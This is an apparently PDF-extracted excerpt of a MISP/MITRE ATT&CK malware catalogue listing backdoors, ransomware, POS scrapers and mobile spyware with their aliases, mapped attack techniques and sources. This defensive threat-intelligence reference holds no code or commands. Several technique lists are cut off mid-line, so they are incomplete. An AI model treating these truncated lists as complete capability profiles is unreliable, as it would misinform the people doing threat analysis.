- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6922. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0671">Tomiris</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0588">GoldMax</a>.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0671">Citation: Kaspersky Tomiris Sep 2021</a></td>
</tr>
</tbody>
</table>

Tomiris - S0671

Tomiris - S0671 is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588). (Citation: Kaspersky Tomiris Sep 2021)

The tag is: misp-galaxy:mitre-malware="Tomiris - S0671"

Tomiris - S0671 is also known as:

- Tomiris
Tomiris - S0671 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6923. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0671">https://attack.mitre.org/software/S0671</a></td>
</tr>
</tbody>
</table>

**Wingbird - S0176**

[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)

The tag is: `misp-galaxy:mitre-malware="Wingbird - S0176"`

Wingbird - S0176 is also known as:

- Wingbird

View relationships graph

Wingbird - S0176 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-
Table 6924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0176">https://attack.mitre.org/software/S0176</a></td>
</tr>
</tbody>
</table>

**FIVEHANDS - S0618**

[FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615). (Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)

The tag is: `misp-galaxy:mitre-malware="FIVEHANDS - S0618"`

FIVEHANDS - S0618 is also known as:

- FIVEHANDS
View relationships graph

FIVEHANDS - S0618 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 6925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0618">https://attack.mitre.org/software/S0618</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/">https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/</a></td>
</tr>
</tbody>
</table>

BlackCat - S1068

[BlackCat](https://attack.mitre.org/software/S1068) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://attack.mitre.org/software/S1068) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)

The tag is: misp-galaxy:mitre-malware="BlackCat - S1068"

BlackCat - S1068 is also known as:

- BlackCat
- ALPHV
- Noberus
View relationships graph

BlackCat - S1068 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-
DownPaper - S0186

[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: `misp-galaxy:mitre-malware="DownPaper - S0186"`

DownPaper - S0186 is also known as:

- DownPaper

View relationships graph

DownPaper - S0186 has relationships with:

- similar: `misp-galaxy:malpedia="DownPaper"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"
Gazer - S0168

[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)

The tag is: `misp-galaxy:mitre-malware="Gazer - S0168"`

Gazer - S0168 is also known as:

- Gazer
- WhiteBear

View relationships graph

Gazer - S0168 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:malpedia="Gazer"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with
estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen saver - T1546.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 6928. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0168">https://attack.mitre.org/software/S0168</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/introducing-whitebear/81638/">https://securelist.com/introducing-whitebear/81638/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/">https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/</a></td>
</tr>
</tbody>
</table>

**Lizar - S0681**

[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)

The tag is: *misp-galaxy:mitre-malware="Lizar - S0681"*

**Lizar - S0681** is also known as:

- Lizar
- Tirion

View relationships graph

**Lizar - S0681** has relationships with:


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
PUNCHBUGGY - S0196

[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: `misp-galaxy:mitre-malware="PUNCHBUGGY - S0196"`

**PUNCHBUGGY - S0196 is also known as:**

- PUNCHBUGGY
- ShellTea

**View relationships graph**

**PUNCHBUGGY - S0196 has relationships with:**

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009"` with estimative-
TangleBot - S1069

[TangleBot](https://attack.mitre.org/software/S1069) is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. [TangleBot](https://attack.mitre.org/software/S1069) has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to [FluBot](https://attack.mitre.org/software/S1067) Android malware campaigns. (Citation: cloudmark_tanglebot_0921)

The tag is: `misp-galaxy:mitre-malware="TangleBot - S1069"`

TangleBot - S1069 is also known as:

- TangleBot

View relationships graph

TangleBot - S1069 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 6931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1069">https://attack.mitre.org/software/S1069</a></td>
</tr>
</tbody>
</table>

Neoichor - S0691

[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbidea.(Citation: Microsoft NICKEL December 2021)

The tag is: misp-galaxy:mitre-malware="Neoichor - S0691"

Neoichor - S0691 is also known as:

• Neoichor
Neoichor - S0691 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6932. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0691">https://attack.mitre.org/software/S0691</a></td>
</tr>
</tbody>
</table>

**RawPOS - S0169**

[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: *misp-galaxy:mitre-malware="RawPOS - S0169"*
RawPOS - S0169 is also known as:

- RawPOS
- FIENDCRY
- DUEBREW
- DRIFTWOOD

View relationships graph

RawPOS - S0169 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="RawPOS" with estimative-language:likelihood-probability="likely"

Table 6933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0169">https://attack.mitre.org/software/S0169</a></td>
</tr>
<tr>
<td><a href="https://github.com/DiabloHorn/mempdump">https://github.com/DiabloHorn/mempdump</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=fevGZs0EQu8">https://www.youtube.com/watch?v=fevGZs0EQu8</a></td>
</tr>
</tbody>
</table>

**Hornbill - S1077**

[Hornbill](https://attack.mitre.org/software/S1077) is one of two mobile malware families known to be used by the APT [Confucius](https://attack.mitre.org/groups/G0142). Analysis suggests that [Hornbill](https://attack.mitre.org/software/S1077) was first active in early 2018. While [Hornbill](https://attack.mitre.org/software/S1077) and [Sunbird](https://attack.mitre.org/software/S1082) overlap in core capabilities, [Hornbill](https://attack.mitre.org/software/S1077) has tools and
behaviors suggesting more passive reconnaissance.(Citation: lookout_hornbill_sunbird_0221)

The tag is: misp-galaxy:mitre-malware="Hornbill - S1077"

Hornbill - S1077 is also known as:

- Hornbill

View relationships graph

Hornbill - S1077 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-
Table 6934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1077">https://attack.mitre.org/software/S1077</a></td>
</tr>
</tbody>
</table>

**Daserf - S0187**

[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

The tag is: *misp-galaxy:mitre-malware="Daserf - S0187"*

Daserf - S0187 is also known as:

- Daserf
- Muirim
- Nioupale

View relationships graph

Daserf - S0187 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"* with estimative-
### Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0187">https://attack.mitre.org/software/S0187</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
</tbody>
</table>

### RotaJakiro - S1078

[RotaJakiro](https://attack.mitre.org/software/S1078) is a 64-bit Linux backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First seen in 2018, it uses a plugin architecture to extend capabilities. [RotaJakiro](https://attack.mitre.org/software/S1078) can determine its permission level and execute according to access type (root or user).(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: netlab360 rotajakiro vs oceanlotus)

The tag is: *misp-galaxy:mitre-malware="RotaJakiro - S1078"*

RotaJakiro - S1078 is also known as:
RotaJakiro

View relationships graph

RotaJakiro - S1078 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"

\textit{Table 6936. Table References}
Truvasys - S0178

[Truvasys] is first-stage malware that has been used by [PROMETHIUM]. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

The tag is: `misp-galaxy:mitre-malware="Truvasys - S0178"`

Truvasys - S0178 is also known as:

- Truvasys

View relationships graph

Truvasys - S0178 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 6937. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0178">https://attack.mitre.org/software/S0178</a></td>
</tr>
</tbody>
</table>

**PUNCHTRACK - S0197**

[PUNCHTRACK] is non-persistent point of sale (POS) system malware utilized by [FIN8] to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: `misp-galaxy:mitre-malware="PUNCHTRACK - S0197"`
PUNCHTRACK - S0197 is also known as:

- PUNCHTRACK
- PSVC

View relationships graph

PUNCHTRACK - S0197 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 6938. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0197">https://attack.mitre.org/software/S0197</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html">https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html">https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html</a></td>
</tr>
</tbody>
</table>

BOULDSPY - S1079

[BOULDSPY](https://attack.mitre.org/software/S1079) is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that [BOULDSPY](https://attack.mitre.org/software/S1079) primarily targeted minority groups in Iran.(Citation: lookout_bouldspy_0423)

The tag is: misp-galaxy:mitre-malware="BOULDSPY - S1079"

BOULDSPY - S1079 is also known as:

- BOULDSPY

View relationships graph

BOULDSPY - S1079 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1624" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1532" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

Table 6939. Table References
Disco - S1088

[Disco](https://attack.mitre.org/software/S1088) is a custom implant that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.(Citation: MoustachedBouncer ESET August 2023)

The tag is: *misp-galaxy:mitre-malware="Disco - S1088"

Disco - S1088 is also known as:

- Disco

View relationships graph

Disco - S1088 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Content Injection - T1659" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Starloader - S0188

[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Starloader - S0188"
Starloader - S0188 is also known as:

- Starloader

View relationships graph

Starloader - S0188 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 6941. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0188">https://attack.mitre.org/software/S0188</a></td>
</tr>
</tbody>
</table>

SharpDisco - S1089

[SharpDisco](https://attack.mitre.org/software/S1089) is a dropper developed in C# that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2020 to load malicious plugins. (Citation: MoustachedBouncer ESET August 2023)

The tag is: `misp-galaxy:mitre-malware="SharpDisco - S1089"`

SharpDisco - S1089 is also known as:

- SharpDisco

View relationships graph

SharpDisco - S1089 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
